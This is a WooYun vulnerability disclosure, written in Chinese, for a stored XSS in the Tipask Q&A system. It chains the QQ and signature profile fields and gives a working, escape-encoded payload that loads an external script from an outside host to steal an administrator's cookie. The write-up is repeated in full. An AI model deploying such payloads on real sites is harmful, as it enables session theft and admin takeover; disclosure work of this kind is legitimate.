当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088000

漏洞标题:tipask问答系统某处存储型xss(绕过限制)

相关厂商:Tipask

漏洞作者: Th1nk

提交时间:2014-12-24 11:53

修复时间:2015-03-24 11:54

公开时间:2015-03-24 11:54

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

tipask问答系统某处存储型xss(绕过限制)

详细说明:

编辑个人资料时,QQ处没有过滤。
http://127.0.0.1/tipask/tipask/?user/profile.html
输入
"><h1>xx</h1>

1.png


提交后自己查看

1.png


别人查看

2.png


但是QQ处长度有限制,导致我们不能形成xss。

3.png


只能长15个字符,不够构造xss
但是我发现用户可以编辑签名,长度在200字符以内,但是该处有限制。
我们先看看输出。
可以看到

3.png


尖括号被过滤了。
但是结合前面那个QQ处的bug,我们可以做出很多猥琐的事情~
QQ处输入

1"><img src='


这样就能构造后面所有的字符串都被包含在单引号里面了。
然后构造签名处输入为

' onerror=alert(1);//


截图看效果。
查看用户的个人资料,访问http://127.0.0.1/tipask/tipask/?u-5.html

1.png


看一下源代码,经过浏览器渲染后的效果。

5.png


光是弹出对话框还不够,我们还得能够打到用户的cookie什么的,包含外部js。
一开始签名处使用的payload如下

' onerror=eval('var b=document.createElement("script");b.src="http://x58pw.sinaapp.com/WZ5U57";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);');//


1.png


onerror后面自动加上了双引号,并且我输入的双引号都被实体化成了&quot;
,导致整个payload的引号混乱,根本不能完整闭合。所以说payload中不能出现双引号。
于是想到js代码中允许用8字符串的进制编码
于是
"-->\42
空格-->\40
最终构造出payload
'

onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//


不使用onerror='alert(1)'这种格式的原因是还存在着小尾巴</span></i
如果不放在js里面并且用//注释,也会导致整个payload不能运行。
下面放测试截图,修改用户test的个人资料。
QQ处输入

1"><img src='


签名处输入

' onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//


然后使用admin账户登录查看test的个人资料。

1.png


成功拿到cookie,使用该cookie可以登陆管理员后台。
剩下的都懂。

漏洞证明:

编辑个人资料时,QQ处没有过滤。
http://127.0.0.1/tipask/tipask/?user/profile.html
输入
"><h1>xx</h1>

1.png


提交后自己查看

1.png


别人查看

2.png


但是QQ处长度有限制,导致我们不能形成xss。

3.png


只能长15个字符,不够构造xss
但是我发现用户可以编辑签名,长度在200字符以内,但是该处有限制。
我们先看看输出。
可以看到

3.png


尖括号被过滤了。
但是结合前面那个QQ处的bug,我们可以做出很多猥琐的事情~
QQ处输入

1"><img src='


这样就能构造后面所有的字符串都被包含在单引号里面了。
然后构造签名处输入为

' onerror=alert(1);//


截图看效果。
查看用户的个人资料,访问http://127.0.0.1/tipask/tipask/?u-5.html

1.png


看一下源代码,经过浏览器渲染后的效果。

5.png


光是弹出对话框还不够,我们还得能够打到用户的cookie什么的,包含外部js。
一开始签名处使用的payload如下

' onerror=eval('var b=document.createElement("script");b.src="http://x58pw.sinaapp.com/WZ5U57";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);');//


1.png


onerror后面自动加上了双引号,并且我输入的双引号都被实体化成了&quot;
,导致整个payload的引号混乱,根本不能完整闭合。所以说payload中不能出现双引号。
于是想到js代码中允许用8字符串的进制编码
于是
"-->\42
空格-->\40
最终构造出payload
'

onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//


不使用onerror='alert(1)'这种格式的原因是还存在着小尾巴</span></i
如果不放在js里面并且用//注释,也会导致整个payload不能运行。
下面放测试截图,修改用户test的个人资料。
QQ处输入

1"><img src='


签名处输入

' onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//


然后使用admin账户登录查看test的个人资料。

1.png


成功拿到cookie,使用该cookie可以登陆管理员后台。
剩下的都懂。

修复方案:

qq既然是数字,为何不判断一下。

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝